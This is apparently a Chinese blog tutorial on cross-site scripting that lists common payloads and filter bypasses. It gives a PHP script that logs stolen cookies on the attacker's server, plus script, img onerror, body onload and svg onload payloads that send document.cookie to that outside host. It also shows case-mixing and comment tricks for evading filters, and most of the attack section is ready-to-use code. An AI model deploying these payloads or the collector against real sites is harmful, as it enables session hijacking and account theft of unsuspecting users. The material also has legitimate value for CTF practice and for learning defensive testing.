XSS漏洞--常用payload及绕过

前置准备

  1. 首先准备一个自己的服务器。本地服务器,也就是127.0.0.1不行。
  2. 在服务器的公开的、可访问的目录下准备一个.php文件。我这里命名为flag.php。
  3. flag.php的源代码:
php 复制代码
//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

代码的作用是保存从目标服务器盗取的Cookie。
前置知识的学习看这里

payload的基本形式

php 复制代码
//js脚本形式
<script>location.href="http://xx.xx.xx.xx/flag.php?cookie="+document.cookie</script>

//img标签。onerror是图片加载失败时触发的事件。
<img src='#' onerror="window.location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//body标签。onload是页面加载完成时触发的事件。
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//svg标签。
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

绕过方法

大小写绕过:

php 复制代码
<ScRipT> <IMg> <BOdy> <SvG>

空格被过滤:

php 复制代码
使用/**/ 或者 / 绕过
<body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
相关推荐
湛生14 小时前
NoSQL注入
数据库·安全·web安全·网络安全·nosql
llxxyy卢15 小时前
polar-web部分中等题目
android·前端·sql·web安全
Sombra_Olivia18 小时前
Vulhub 中的 adminer CVE-2021-21311
安全·web安全·网络安全·渗透测试·vulhub
白帽黑客-晨哥1 天前
2026年网络安全面试全攻略:高频问题与实战经验展示
web安全·网络安全·面试·职场和发展·网络安全工程师
cramer_50h1 天前
网络安全技术研究:安全框架和技术方案、研究(一)
安全·web安全
zhouping@1 天前
[NPUCTF2020]ezinclude
android·web安全
姬成韶1 天前
BUUCTF--[网鼎杯 2020 青龙组]AreUSerialz
web安全·网络安全·代码审计
zhouping@1 天前
[HFCTF2020]EasyLogin
web安全
谪星·阿凯1 天前
爬虫对抗实战 - ZLibrary反爬机制分析与突破
爬虫·网络安全
kiku18181 天前
Nginx安全
nginx·web安全·https